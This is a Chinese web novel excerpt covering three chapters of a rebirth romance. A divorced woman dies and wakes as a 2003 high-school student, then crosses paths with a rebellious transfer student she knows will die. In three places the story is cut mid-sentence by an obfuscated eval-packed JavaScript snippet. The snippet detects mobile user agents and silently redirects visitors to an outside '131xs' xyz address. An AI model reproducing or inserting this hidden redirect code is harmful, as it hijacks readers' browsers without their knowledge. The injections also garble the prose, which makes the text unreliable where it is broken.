《她本来没想动心的》 1. 重生 秦遇死了,死在办完离婚手续的第二十八分钟。 前一刻,她刚拒绝了前夫吕程礼貌的询问,“要不要载你一程?” 那时,她盯着他微笑的脸孔,心头泛起一阵恶心。 分割财产时,他寸步不让,却热衷于在这种小事上卖力表现。 曾经,她就是被这种不值钱的“付出”迷惑,认为他是世间难有的好男人。 她嘴角扯出一抹讥笑,走到他面前站定,双目直视他,淡淡开口,“想要表现绅士风度,你大可以净身出户。” 吕程的脸上闪过一丝尴尬,他避开她的视线,低头轻咳一声,待要张口粉饰几句时,秦遇已经大步走开。 她已不耐再看他表演。 这是一个飘着细雨的夏日黄昏,她撑着伞缓缓走在街上,忽然觉得口渴。 抬头,看见马路对面有家便利店。 绿灯亮起时,她朝便利店走去,就在这时,斜刺里忽然冲出一辆厢型货车,一下重击后,她的灵魂被撞出身体。 她从半空中俯视地面,看见自己的身体被高高抛起,又以极快的速度摔在地上,脸朝下,胳膊和腿折成不可思议的角度。 暗红的血从身体下缓缓爬出,汽笛声、急刹车声、路人的尖叫声混杂在一起。 尖锐的、急促的、混乱的…… 一切在此刻戛然而止。 奇怪的是,她并不觉得悲伤,她只是疑惑,这一生就这样结束了? 读书时是乖乖女, 上班了是好牛马, 结婚后做本分贤妻。 可是生活对她并未优待。 你看,她一向信任的好好丈夫,居然向她坦白已出轨一年,并向她提出离婚。 与此同时,工作了多年的外资企业要撤出亚洲市场,支付N+1,遣散所有员工。 她那温馨平和的生活在一瞬间崩塌。 她第一次对这按部就班的人生产生疑惑,然而,就在她想要重新审视人生的下半程时,一切画上了休止符。 她被命运之手,拖入无尽黑暗。 临死前最后闪过脑海的念头是,糟了,家里的乌龟还没喂。 “……小遇……起床了……小遇……” 妈妈的声音像是从记忆深处传来,模糊不清。 她觉得累,翻个身还想继续睡,忽然僵住: 她怎么还能动? 她不是已经死在路口? 身下是柔软的棉布床单,指尖是软弹的枕头,紧闭的眼皮上,有金光在浮动。 门外传来咚咚叩门声。 “小遇,快起床,要迟到了。” 是妈妈的声音,清晰有力。 她条件反射般回答,“来了。” 猛得睁开眼,灿烂的晨光从窗帘缝隙中透出,正好洒在她脸上。 她眯起眼睛,过了足有半分钟才适应屋里的光线。 暗黄色书桌、栗色双开门衣柜、淡蓝色印花窗帘。 这是她从前的家,确切地说,是她读高中时的卧室。 她惊疑不定地环顾四周,视线定格在对面的书桌上。 暗黄色书桌已经有些年头,上面一只银色随身听半张着口,露出里面的磁带。 旁边是一本摊开的书,她走过去翻了翻,是《哈利·波特与阿兹卡班的囚徒》,比她记忆中的新了许多。 装着圆形灯泡的老式台灯下,躺着一条编了一半的手链。 她把手链拿起来,四根粉线、两根紫线、两根白线交错往复,编织成一条半指宽的手链,拿起来往手腕上比划一下,长度还差一半。 她闭了闭眼。 就在前几天,因为要和吕程离婚,她收拾东西还翻出了柜子深处的这条手链。只不过那时,它是完整的、陈旧的。 她猛得睁开眼,放下那条手链,冲向门口。 她记得,在衣柜和卧室门之间的墙上,挂着一块镜子。 镜子里是一张十多岁少女的脸,粉白面颊上没有一丝暗沉,漆黑眉毛下是一双透亮眼珠,一切都是水灵灵、脆卜卜的。 她缓缓抬手,摸上自己的脸。 镜子旁边的日历上,清清楚楚写着,现在是2003年10月16日。 门外再次传来妈妈的催促声,“小遇,快点,再不起要迟到了。” “来了。” 这一次,她的声音变得笃定有力。 换掉睡衣,穿上蓝白相间的运动校服,拿起挂在椅子背后的书包,她走出卧室。 乳白色豆浆盛在白底蓝花的瓷碗里,微烫。 金黄酥脆的油条卧在长条形盘子里,香味钻入鼻中。 桌子对面,她那后来到斯坦福读书的弟弟秦征,此刻还是个三年级的小学生,顶着一头乱糟糟的头发,埋头干饭。 弟弟旁边,四十出头的妈妈穿一身浅咖色连衣裙,脸上始终挂着淡淡笑意。 对了,这时候爸爸还没出轨,妈妈还活在她单纯美好的小世界里,不像后来,脸上总是罩着淡淡愁容。 这久违的早餐场景,像在梦里一样。 对面的秦征眨着又大又圆的黑眼睛,看看她,再看看她。 “秦遇你今天有点奇怪。” 秦遇拿筷子的手一抖,板起脸纠正他,“叫姐姐。” 秦征从小就不叫她姐姐,一直叫她的名字,对外人提起她时,会认真说我姐姐如何如何,可是在家里,从来都是连名带姓地叫她。 “不叫不叫就不叫,气死你。”秦征说着,还对她吐了吐舌头,扮鬼脸。 妈妈出声制止,“小征,吃饭不要说话,小遇,快点吃,不要迟到。” 出门的时候,她走出楼道后径直向外走,秦征坐在妈妈红色小木兰的后座上,冲她大喊,“秦遇你怎么不骑车子?” 她循声望去,看见了小木兰旁边停着一辆旧旧的二手自行车。 想起来了,高中开学第一周,妈妈给她买的新自行车就被偷了,之后妈妈特意给她弄来一辆二手车,说是不怕偷。 这辆车又丑又旧,确实不被贼惦记,就这样平安无事地骑了三年。 她慢吞吞地向自行车走去,耳边响起秦征大剌剌的声音,“妈你看,秦遇睡了一觉变得更傻了。” 随即响起妈妈的轻斥,“臭小子,不许这样说你姐姐!” 好些年没骑过自行车了,她握紧把手,小心翼翼地踩下脚蹬。 前几步骑得摇摇晃晃,被小木兰载到胡同口的秦征不住回头看她,脸上写满疑惑。 骑出胡同时,身体深处的记忆已经被唤醒,她找回了骑自行车的感觉,并凭着身体的指引,走上了前往学校的路。 秋日的风吹在脸上,干燥舒爽,她感受着久违的在风里骑车的感觉,不住地看周围的街景。 千禧年刚刚过去,小城中还到处都是矮趴趴的房子,少见后来那种动辄二三十层的高楼,然而,许多新的事物正在这些矮小的房屋中萌芽、成长。 拐入城市主干道,右手边出现一个老式招待所,三层楼高,顶端是钟楼的样子,多年来,表盘上的时间始终指向下午三点。 在她印象中,这栋楼大约在十年前被拆掉。 她扭头又看一眼,黄色楼身、蓝色表盘,是她记忆中的城市地标。 就在这时,一辆摩托车从她身边呼啸而过,巨大的轰鸣声瞬间逼近又拉远,她下意识回头,看见前方的摩托车喷出长长的尾气,迅速远去。 尽管只是一瞥,她已经认出那辆摩托车的品牌。 哈雷·戴维森。 知道这辆车还是因为前夫吕程。 吕程曾多次指着网上的这款摩托车图片说,这是他学生时代的梦想,做学生时太贵买不起,工作以后一直想要一辆Iron883,可是30多万的价格对他们这个小家庭来说,依旧有些奢侈。 30多万的家用车是刚需,30多万的摩托只是个玩具。 想到吕程,让她的心情有些低落,她甩一甩头,把他抛在身后。 这时,一辆黑色加长轿车从她身边缓缓驶过,相较于摩托车的轰鸣,这辆车低调许多,可它巨大的进气格栅、优雅的车身线条散发出不怒自威的强大气场,独特的车标更是彰显着它不菲的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姚摇点点头,翻过一页书,细白手腕上层层叠叠的手链跟着晃动起来。 就在这时,班主任宋有才清了清嗓子,示意同学们暂停早读。 宋有才身材矮小,肚子却很突出,一根细皮带紧紧勒在气球一样的肚皮上,总让人担心下一秒气球就会爆开。 他抬头挺胸地站上讲台,郑重道“同学们,今天,咱们班转来一位新学生,我给大家介绍一下,穆同学,你进来吧。” 宋有才的声音刚落,一道修长的身影就从敞开的门口走进来,这位新同学一进门,就吸引了全班的注意力。 无他,只因为他的衣着打扮过分特立独行。 头发染成红棕色,发型是潮流杂志上明星留的狼尾头,左耳上一只金属耳环闪着光泽,一条靛蓝色松垮牛仔裤极长,鞋子被裤腿盖住大半,露出redwing的标志性方形鞋头。 再然后,是他的长相,精致细挺的直鼻,轻微上挑的斜眉,浑身散发着桀骜不驯的痞帅气质,薄薄的嘴唇带有几分不屑和攻击性。 脸上清清楚楚写着三个字:不好惹。 宋有才微皱眉头,强忍着不悦,开口解释,“那个,穆同学刚来,还没有拿到校服,等过几天校服到了就会和大家穿一样的衣服。” “穆同学,请介绍一下你自己。” 那红发少年懒懒抬眉,扫视一圈教室,漫不经心吐出两个字:“穆逢。” 宋有才还等着他继续介绍,少年却薄唇紧闭,再不发一言。 不良少年罢了,秦遇兴趣缺缺得收回视线,前世今生,她对这类人都没什么兴趣。 上一世,他们没有任何交集、没有说过一句话,她甚至不记得这位转学生的出场方式。 宋有才开始喋喋不休地说一些套话,请大家和新同学好好相处,共同努力学习云云,秦遇关上耳朵,去看面前的英文课本。 可是慢着,有什么信息从她脑中闪过,她闭了闭眼,努力在记忆的河流里打捞。 抓住了,想起来了! 这位转学生,在他们班只待了一个学期,就因为打架转到了别的学校。 然后,下一年的除夕夜,他被发现死在本城的街头。 多年来,凶手始终成谜。 想到这里,秦遇忍不住又看向他,这一次,她的眼神里带了几分怜悯。 就在这时,像是察觉到她的目光,转学生穆逢抬眸看向她,锐利的视线直直望进她眼睛里。 2. 遇见 第一、不嫁吕程 第二、阻止爸爸出轨 第三、搞钱、搞钱、搞钱。 在笔记本上写下这三行字,秦遇把笔一丢,靠在椅背上,陷入沉思。 既来之则安之,重生回到高中已是既定事实,她决定好好过完这一世,并尽量弥补前世的遗憾。 吕程的真面目她已经知晓,这辈子坚决远离,不会和他有一点交集。 做生意常年在外出差的爸爸,在她高二那年出轨,两年后妈妈知道此事,陷入抑郁,一度要靠吃药维持精神稳定。 闭上眼,妈妈失魂落魄、以泪洗面的模样就浮现在眼前,一阵心痛袭来,她握紧了拳头。 那个女人,是爸爸公司的员工,如果能在爸爸和她好上之前,阻止他们…… 敲门声传来,打断了秦遇的思考。 “秦遇,我要进来了。” 是秦征的声音,随即响起门把手转动的声音,秦遇迅速合上日记本,把本子塞进抽屉里,“砰”一声关上抽屉。 “你来干嘛?” 秦征端着一盘刚洗完的葡萄,笑得极其夸张,走到她面前。 “你不是喜欢吃葡萄吗?这是我刚洗的,刚才尝了一个,可甜了。” 秦遇看着那一盘湿漉漉的葡萄,个顶个的又大又饱满,被台灯的灯光一照,闪着莹润光泽,实在诱人。 她的确爱吃葡萄。 她咽了下口水,扳起面孔,“无事不登三宝殿,说吧,找我有什么事?” 秦征“嘿嘿”笑着挠了挠头,本就乱糟糟的头发更乱了。 “借我点零花钱呗。” 秦遇撇了撇嘴,“我就知道,葡萄不是白吃的。” 秦征又笑了,绕到她身边,殷勤地给她锤肩膀。 “秦遇,拜托了,你的零花钱多,借给我一点呗,我要买将军令,还得充点卡。” 自从她升入高中,零花钱涨到了每周20,上小学的秦征只有5块。 她记得,上一世,秦征也是差不多这个时候来向她借钱,当时她没在意,每次他借,她都给。也不多,每次十块、二十块的给,谁知道后来这个游戏被秦征玩成了理财产品,在她和吕程结婚时,作弟弟的大手一挥给她封了十万块的红包,说都是从游戏里挣的。 每每想起这件事,她都觉得十分感动。 她看着站着还没自己坐着高的秦征,眼睛一热,伸手揉了揉他的头发。 秦征拨开她的手,狐疑地看着她。 “你眼睛怎么这么红?你哭了?不想借就算了,哭什么!” “我才没哭。”秦遇大声反驳,曲起手指在他头顶弹了一下,“我是看书看累了,眼睛疼。” 秦征揉着脑袋,“切”了一声。 秦遇从书包里翻出钱包,抽出二十块塞到秦征手里。 “拿去吧,记住,姐姐我可是你的天使投资人。” 秦征欣喜地接过钱,“什么是天使投资人?” “就是……算了,你以后就知道了,玩去吧。” 秦遇摆摆手,撵他出去。 秦征出去的时候没有关好门,客厅里的灯光和声音一起从门缝漏进来,熟悉的旋律勾起了秦遇的回忆,她循着声音走到门边。 客厅里,妈妈正坐在沙发上织毛衣,她面前的电视屏幕上正在重播韩剧《蓝色生死恋》,想起来了,这是妈妈的晚间固定节目,一边织毛衣、一边看八点档电视剧。 这个时候,手机还没普及,信息爆炸时代尚未降临,以秒为单位的短视频还未问世,四十多分钟的电视剧是普通家庭晚间消遣的主流。 电视屏幕上,男二玄彬正星星眼看着女主宋慧乔。 她曾和姚摇为男一和男二谁更帅争得面红耳赤,她觉得玄彬帅,姚摇觉得宋承宪更有气质,两人谁也不服谁,甚至为此断交一周。 这些本以为消失的点滴回忆,原来一直都在。 刚刚重生时,最不适应的不是别的,而是没有手机,和随之而来的、突然慢下来的生活节奏。 想要知道什么,不能随时查到,获取信息的成本变高,但同时,个人得以从信息的海洋中解放出来。 时间变多,精力也更充沛。 秦遇关上门,躺到床上,把耳机塞进耳孔,按下随身听的播放键。 磁带转动,发出沙沙摩擦声,几秒后,孙燕姿略带颗粒感的嗓音在耳边响起。 “我遇见谁,会有怎样的对白? 我等的人,他在多远的未来? ……” 这是属于千禧年代的音乐,千禧年代的休闲,她闭上眼,沉浸在音乐中。 第二天一早,秦遇骑着她的二手小破车去学校,照例,骑到学校门口是要下车推进去的,不过因为学生太多,门卫人数有限,此项规定一向执行得并不太严格。 刚刚找回骑自行车的感觉,秦遇自觉无力在拥挤的学生中穿梭自如,踩下刹车,下车,推着车把手慢慢向前走。 进了校门,往右一拐就是车棚,全校学生的自行车都在这里,按班级分区,秦遇数着六班、五班、四班的标识牌,向二班的停车区前进。 就在这时,身后传来嚣张的机车轰鸣声,下一瞬,一辆高大的摩托车从她身边呼啸而过,带起她的头发往前飞,有几丝盖住了眉梢和嘴角。 是那辆哈雷摩托。 流畅的车身线条霸道中透着优雅,巨大的金属排气管闪着耀武扬威的冷光,骑在摩托车上的人,高大清瘦,肩膀却很宽,在清晨的逆光中,勾出一抹冷峻线条。 身后响起两个陌生男生的声音。 “哇哦,酷。” “这摩托太帅了。” 摩托车的主人长腿一抬,利落翻身下车,摘下黑色头盔,一头红棕色头发在阳光下十分醒目。? 原来是他。 穆逢把头盔随意往车上一丢,双手插在裤兜里,大摇大摆地向教学楼走去。 他谁也不看,脸上是一贯的冷峻表情,眉眼中带着三分不耐。 几个在车棚里停车的女生,怔怔得看向他。 秦遇觉得有点好笑,转念一想,自己刚刚不是也盯着他看了一会吗? 在行事保守的小城,穆逢这样特立独行、张扬刺目的模样,注定会吸引众人的视线。 自从重生回来,她的身体奇迹般得自动回忆起了一些细节,比如就在这个清晨,她想起身为语文课代表,她要在每周三上午收齐全班的周记,交到宋有才手里。 宋有才是他们的班主任兼语文老师。 上完第二节课,是二十分钟的大班空,班里的小组长陆续把周记本送到她桌上。 他们所在的一组,组长正好是坐在她前面的朱志,朱志从第一排开始收,走的时候有说有笑,回来的时候,脸上的表情像要哭了一样。 他把怀里A4大小的一摞周记本放到她桌上。 “周记收不齐,差一个人。” “谁啊?你再去问问他,正好下节课是语文自习,让他赶一赶,还来得及。” 朱志脸色发白,连连摆手,“不行不行,我不行,我不敢再问了,我怕他揍我。” “谁要揍你?” 秦遇皱眉问,姚摇拍拍她的肩膀,用手指指最后一排。 “还能有谁?新来的小少爷。” 秦遇循着她的手指,一眼就看到了那扎眼的红棕色脑袋。 姚摇凑到她耳边,低声说,“听说他昨天把二班那个‘小霸王’揍了,‘小霸王’被他揍得哭爹喊娘,今天都没敢来上学。” 朱志点点头,用哀求的眼神看着秦遇,“你是语文课代表,还是你去催吧,再说了,你是女生,好男不打女,再怎么样他也不会对你动手的。” 朱志说得合情合理,秦遇无法拒绝,决定起身一试。 走近后排,她才发现,穆逢正在睡觉。 他双臂抱在胸前,身子向后倾,靠在墙上,一双长腿大喇喇的架在桌上,桌上没有书也没有笔。 秦遇皱了皱眉。 这哪里像是学生的样子? 如果是上一世的秦遇,遇见这样的穆逢只会躲开,一句话也不说,可是现在她重活一世,自觉更成熟有经验,不会怕十几岁的叛逆少年,所以,她清了清嗓子,开始叫他。 “穆逢同学。” 没有回应。 他抱着手臂,双眼紧闭,长长的睫毛在眼皮上投下阴影,根根分明。 明明没什么表情,周身却透着一股低气压。 左耳上的银色耳环,在正午的阳光下闪着寒光。 后排几个男生转过头来,却都没敢靠近。 她又叫他。 “穆逢同学。” 对方不耐地皱了下眉,还是没醒。 她终于忍不住,抬手在他桌上咚咚敲了几下,提高音量,“穆逢同学,醒一醒。” 这一次,对方总算听见,懒懒掀起眼皮,斜睨她一眼,低低说一声,“干什么?” 他的嗓音微沉,带一点沙哑,像是没睡好。 秦遇轻咳一声,一板一眼道,“该交周记了,全班只差你一个人。” “没写,不交。” 他回得掷地有声,理直气壮,随即又合上眼。 秦遇还想再努力一把。 “下节课写还来得及。” 这一次,穆逢终于抬眼看向她,脸上带着一点讥讽的笑意。 “好学生,你是听不懂我的话?” “作业不写、也不交,以后都这样,明白吗?” “听懂了就走,别烦我。” 少年的不耐冰冷直接,周围同学开始窃窃私语,却没有人敢上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896947|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 插话。 秦遇有点生气,心中默念那句“尊重他人命运,放下助人情节”,既然他坚持不写,那她只需要尽到提醒的责任就行了,其他的,是老师和他之间的事。 “我并不是非要管你,只是作为语文课代表,我有义务来向你收作业,不过,我的责任也就到此为止。” “上午放学之前,不交周记就没有机会了。” 秦遇说完,看也不看他,转身走回自己的座位。 刚一落座,姚摇就关切地凑上来,围着她左看右看。 秦遇不解,“你干嘛?” 姚摇摇摇头,露出疑惑的表情,“真奇怪,居然没哭,以前别人跟你说话声音大一点,你都会掉金豆豆,今天居然如此冷静。” 姚摇说得没错,从前的她的确是这样,泪点低、玻璃心,动不动就默默流泪,为这事姚摇没少扮演她的开心果,宽慰她。 秦遇尴尬地摸了摸眼角,没有一点湿意。 “这个穆逢呢,一看就是有钱人家的少爷,估计是来咱们这小地方体验生活的,我猜他没几天就会转走,不值得为他动气。” “我才没动气。”秦遇说着,把手里的语文课本重重拍在桌上,吓得前面的朱志抖了一下。 “爱哭的老毛病不治自愈,以后我就是新的我了。” “不得了不得了,值得庆祝,下午放学去吃麻辣饼,我请客!”姚摇爽快地说。 圆圆的面饼被投入油锅中,随着热油的滋啦声,被炸至金黄,取出丢到案板上,用薄刀划开一侧,露出柔软内陷,一面涂抹酱料,一面涂抹辣椒油,再塞入炸好的花菜、蘑菇、豆腐圈、鸡柳等食材,满满当当,饼口张开逼近70°度。 一口下去,十分满足。 秦遇和姚摇坐在卖麻辣饼的小推车旁边,一边吃饼,一边看男生在旁边的足球场上踢球。 七中的足球场和校门口只隔一条短短的路,现在是下午放学时间,距离晚自习还有两个小时,有同学选择回家吃饭,也有人像她们一样,在校门口寻觅小吃。 不时有认识的同学路过,彼此打招呼。 秦遇吃得不亦乐乎,直叹太好吃了,姚摇笑话她,“不是上周才吃过,怎么这么馋?” 秦遇笑了笑,没解释。 她总不能说,这一口,她已经十多年没吃过了,随着中学毕业,校址搬迁,这家卖麻辣饼的小摊早已不知去向。 太阳就要落山,橘色的光芒映红了半边天,给大半个足球场都镀上了一层金光。 一群穿着球衣、球鞋的少年,奔跑在球场上, 姚摇用手肘顶顶她,“是我们班和二班练习赛。” “是吗?”秦遇好奇地张望,因为距离远,她根本分不清谁是谁,只认得出球衣背面的号码。 眯起眼睛看了一会,她总结道,“那个29号跑得很快,还有好几次带球过人,是不是?” 姚摇笑道,“不错呀,你都知道带球过人了,29号的确鹤立鸡群,我数过了,整个球场上,他进球最多。” 因为离得远,秦遇看不清29号的脸,但她总觉得他的身形看起来有些熟悉,高高的个子、宽阔的肩膀、修长的手臂,跑起来像一阵风。 就在这时,场上的足球被踢偏了轨道,直直地向她们的方向射过来。 秦遇就坐在球场旁边,和场地只隔着一道围栏,尤其糟糕的是,她忽然发现,面前的围栏破了一个大洞。 大到足够一颗足球穿过来。 近了,更近了,眼看那颗足球像流星一样直冲她面门而来,说不慌是假的。 不是,上一世也没有这一幕啊! 秦遇想要躲开,可是一时之间,竟然不知该往哪里躲。 就在这时,一道身影像闪电一样从斜刺里飞出,不带一丝犹豫地抬脚踢向那只球,眼看就要逼到眼前的足球,瞬间被踢飞,在高远的青空中闪了一下,随即落在遥远的球场中央。 半米之外,球场之内,红黑色球衣上的29号在夕阳下鲜明无比,球衣的下摆在晚风中飘动,和少年飞扬的发丝一起,渐行渐远。 “小遇,没事吧?” 一只白皙的手在她眼前晃了晃,接着,姚摇关切的脸孔出现在面前。 秦遇收回视线,“啊,我没事,没事。” “没事就好,没事就好。” 姚摇伸手拍了拍胸口,“刚才吓死我了,眼看那球就要砸到你身上了,我手里的饼都吓掉了。” 秦遇低头看了看,她的饼倒是没掉,但已经被捏成一团,不能吃了,饼里的酱汁顺着塑料袋流出来,沾到了手上。 素白的手上蜿蜒几道棕色酱汁,格外醒目。 她都没有察觉。 这晚入睡前,秦遇忍不住反复想到一件事,穿29号球衣的穆逢,注定要死在下一年的街头。 3. 别扭 早读课上,姚摇打开课本立在身前,侧头对秦遇眨眨眼。 “小遇,帮我打掩护。” 秦遇明白她的意思,立刻举起左边的胳膊撑在课桌上,以手托腮,大半身子侧向左,挡住姚摇半个身子。 姚摇靠窗,她靠过道,这样一挡,再加上立起的课本,姚摇所在的半片书桌,就成了一片绝对安全领域。 姚摇喜滋滋地从书桌里掏出一本漫画,贴到打开的语文课本里,如饥似渴得看起来。 嘴唇轻动,念念有词,神情专注,看起来好像正在认真读书。 “这是《天是红河岸》的最后一本,我白天看完,晚上借给你。” 看着宋有才走出了教室,姚摇放下心来,低头对秦遇耳语。 一边说,一边晃了晃书的封面。 秦遇点点头,笑着说“太好了,我也等了很久了。” 她当然早就看过结局,漫画书的最后一幕至今还清晰地留在她脑中。 夕梨和凯鲁王子在夕阳下骑马远去的背影,给这段波澜壮阔的少女漫画画上了圆满句点,在那之后,历史的风继续吹,赤河翻涌,白骨黄沙,多少人和事都湮没在时光深处。 背后忽然伸过来一只手,拍了拍她的肩。 无边的黄沙迅速退去,她从少女漫画的世界里回过神来,后排的邱小米咧嘴一笑,冲她伸出手,“课代表,让我抄抄作业呗。” “行。”她心不在焉地回了一句,抽出语文作业本给他,递作业的时候,特意往最后一排看了看。 穆逢的座位是空的。 看来救护车里的那个人,果然是他。 早晨来上学的路上,她遇见了一起交通事故。一位老婆婆在过马路时,被疾驰的三轮车碰倒,车主逃之夭夭,反而是后来赶到的一名少年,把老婆婆送上了救护车。 她赶到出事的路口时,救护车的后门正在关闭,关门的刹那,她模糊瞥见了车内一抹红色一闪而过,接着,听路人提起,说是一个少年拿手机拨了120,又陪老人上了车。 人潮很快散去,路口恢复平静,只是在一旁的道路上,停着一辆外形硬朗、黝黑锃亮的摩托车,像是静静蛰伏的钢铁巨兽。 无比眼熟。 第二节课还剩几分钟的时候,穆逢推开教室后门走了进来,一言不发地坐到座位上。正在讲台上讲得唾沫四溅的宋有才,忽然住了口,圆圆的白脸上一对细眉高高挑起,眉头越皱越紧,愤怒值不断攀升。 教室里的气压忽然降低,静得连呼吸声都能听见。 “啪!” 宋有才把手里的粉笔往桌上狠狠一掷,粉笔在落到桌面的瞬间崩成两截,飞向不同方向。 最前排的一个同学被粉笔崩到鼻子,揉了揉,没敢吱声。 宋有才怒喝一声,“穆逢!” 数秒之后,后排响起一道懒洋洋的声音,“到。” 宋有才脸上怒气更盛,“回答老师的话,不知道要站起来吗?” 教室里鸦雀无声,姚摇借着书本的掩护,对她无声说了句话。 秦遇读懂了她的口型,“又要发飙了。” 凳子摩擦石灰地面的声音响起,十分刺耳。 秦遇悄悄侧头,余光撇见那高大清瘦的少年站了起来,不发一言。 散漫的站姿中透着不屑,浑身上下写着一句话,“没在怕的”。 宋有才的脸气到扭曲变形,怒斥“你看看你那是什么样子!作学生的,整整迟到两节课!成天戴耳环、开摩托、打架,素行不良!一看就没家教!” 宋有才的训斥,从迟到扩大到平时的作为。 秦遇的右手在无意识中握紧,她不明白,穆逢为什么不为自己辩解,为什么不说自己是送老人去医院。 宋有才喋喋不休地训斥着,穆逢不说话,也不反驳,只是那样无所谓的站着,直到宋有才越说越激动,蹦出这样一句话。 “你妈没教过你上学就要守学校的规矩吗?你到底是个学生,还是有娘生没娘养的混混?!” 这句话说出口,宋有才自己也怔了一下,这已经是上升到辱骂的地步了。 他也知道这样说不妥,可是身为一位强势的班主任,习惯了在学生面前说一不二,他无法承认自己的失误。 宋有才住了口,站在最后排的穆逢却猛得抬头,锐利的目光狠狠瞪着他。 他的右手在身侧紧握成拳,凶狠的表情仿佛下一秒就要冲上去给宋有才一拳。 从来没有哪个学生敢这样看他,宋有才火气上来,正要发作,秦遇站了起来。 这一站,两人之间一触即发的紧张被冲散,全班同学的目光都转移到了她身上。 秦遇也不知道自己怎么就忽然站了起来,仿佛有一股力量推着她,等她回过神来,自己已经直直地站在座位上。 事已至此,不做点什么,现在说不过去。 “老师,其实,我来上学的路上遇见穆逢了。他救了一个被车撞倒的老婆婆,送她去医院,应该是因为这个才迟到。” 不学无术的无礼混混,忽然成了做好事不留名的好少年,宋有才张了张口,没说出话,于是抬手搔了下鼻子,掩饰尴尬。 他轻咳一声,抬手示意秦遇坐下,“哎,这事你怎么不早说,穆逢你也是,刚才应该好好向老师解释……” “砰!” 一声巨响打断了宋有才挽尊的努力。 教室最后排,穆逢抬起一脚,把身边的长条凳踹飞,凳子撞上后门,重重弹落在地,后门抖了抖,“吱呀”一声向外打开。 “你……你……你……”宋有才伸出一只手指着穆逢,不停颤抖。 穆逢看也不看他,一扭头走出教室。 这一天都没再出现。 从宋有才办公室交完作业出来,同学们都走得差不多了,教室一下变得空旷,只有三两个值日生在后排拖地。 秦遇收拾好书包,下楼向车棚走去。 一进入车棚,视线陡然一暗,秦遇睁大眼睛,在二班的停车区搜寻一番,终于锁定了自己那辆二手车。 它实在其貌不扬,灰扑扑的颜色,混在车堆里都不好找。 把书包丢在车筐里,翻出钥匙开锁,就在这时,眼角余光瞥见车棚里面有点点亮光。 一闪,再一闪。 她疑心自己看错,扭过头仔细盯住那处,这才发现车棚最里面,有个人正靠在红砖砌成的墙壁上,车棚里没有灯,看不清那人的长相,只看得出个子很高,身形修长,一只脚抬起,向后踩在墙上。 那人指间夹着一支香烟,烟头火光明明灭灭,正是她刚才看到的亮光。 这个时间,出现在车棚里的除了本校学生还有谁? 小小年纪不学好,躲在这里抽烟。 秦遇撇了撇嘴,低头拧开车锁。 车锁“啪”一声弹开,她踢开脚撑,调转车头,准备出车棚。 就在这时,身后响起脚步声,她没在意,继续往前推车子,却发现车子纹丝不动。 她皱眉扭头,发现那红头发少年正用一只手拉住她的车后座。 原来是他。 秦遇有点生气。 “干什么?” 穆逢松开手,侧头吸了一口香烟,轻轻吐出烟圈,这才转头看向她, “有事找你聊聊。” 烟雾在身后蔓延,秦遇皱了皱眉,用校服袖子遮住口鼻。 “我闻见烟味就恶心,聊天可以,你先把烟掐了。“ 穆逢一怔,随即丢掉了指间的半截香烟,用脚踩了两下。 “这样可以了吧?” 秦遇推着车子往前走了两步,走到车棚门口较为开阔的地方,“这里吧。” “你说,找我有什么事?” 穆逢双手插在兜里,跟在她身后走过来,在距离她一米远的地方站定。 “你的目的是什么?” 少年直截了当的开口,语气冷淡疏离。 秦遇丈二和尚摸不着头脑,“什么?什么目的?” “今天上课,你在‘宋土豆’面前帮我说话,有什么目的?” “宋土豆”,是班里调皮的男生给宋有才起得绰号。 终于听明白了他的话,秦遇先是觉得惊讶,随后心头窜起一股无名火。 尤其是对方此时正用质疑和探究的目光看着她。 她不明白,十几岁的少年不应该是清澈而愚蠢吗?为什么他要这样曲解别人的好意? 秦遇深吸一口气,斩钉截铁道, “我根本不认识你,对你能有什么目的?我只是说出我看到的事实,没别的。” “你就当我多管闲事好了。” 话不投机半句多,她懒得在这里跟他浪费时间,骑上车子就要走。 可是双腿奋力蹬了足足一分钟,脚蹬一圈又一圈转着,车子却纹丝不动。 她停好车子蹲下来检查,果然,车链掉了。 真是倒霉。 她一边暗骂,一边火速从旁边找了根树枝。车棚外有几棵粗大的梧桐,也不知多少个年头了,个个都有两人合抱粗。 树下有不少掉落的枝子,她选了一支长短粗细差不多的,蹲到车前上链子。 就在这时,斜刺里伸出一只手,少年的手修长有力、骨骼分明,衣袖高高挽起,露出一截小臂,肌肉紧实、蓄满力量。 怔愣间,穆逢已经拿走她手里的树枝。 “让开,这种事,我们男生比较在行。” 她反应过来,一把抢过树枝,“这种事,我们女生也行。” 穆逢再次抢过树枝,“我知道你行,不过女生不都嫌脏吗?” “我不嫌!” 这一声嗓音洪亮,中气十足,说完后她自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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秦遇轻哼了一声,心里到底认同他的说法,于是抬起头来,和他四目相对,一板一眼道,“穆逢同学,谢谢你帮我修好车链,再见。” 夕阳映在他眼中,橘红的光和他的红发相互呼应,精致的眉眼在逆光中隐藏,宽阔的肩膀,像一条高悬的地平线。 他轻咳一声,开口道“其实,我不习惯解释,尤其是对本来就对我有偏见的人。” 秦遇思考了数秒,才明白他说得是早晨课堂上的事。 红发、耳钉、摩托、潮到令人发指的着装风格,在以保守闻名的七中,想不让老师有偏见也难。 不过这话秦遇也只是在内心腹诽,并没说出口。 她冲他点点头,“嗯”了一声,转身骑上车子就走。 经过校门时,她又看见了那辆加长劳斯莱斯,优雅流畅的车身线条吸引了不少路人的目光。 出了校门往右,直行一百米左右就该向北转了,就在这时,她听见身后响起轻盈的脚步声,接着,车子猛地一沉,有人坐到了她的自行车后座上。 “谁啊?” 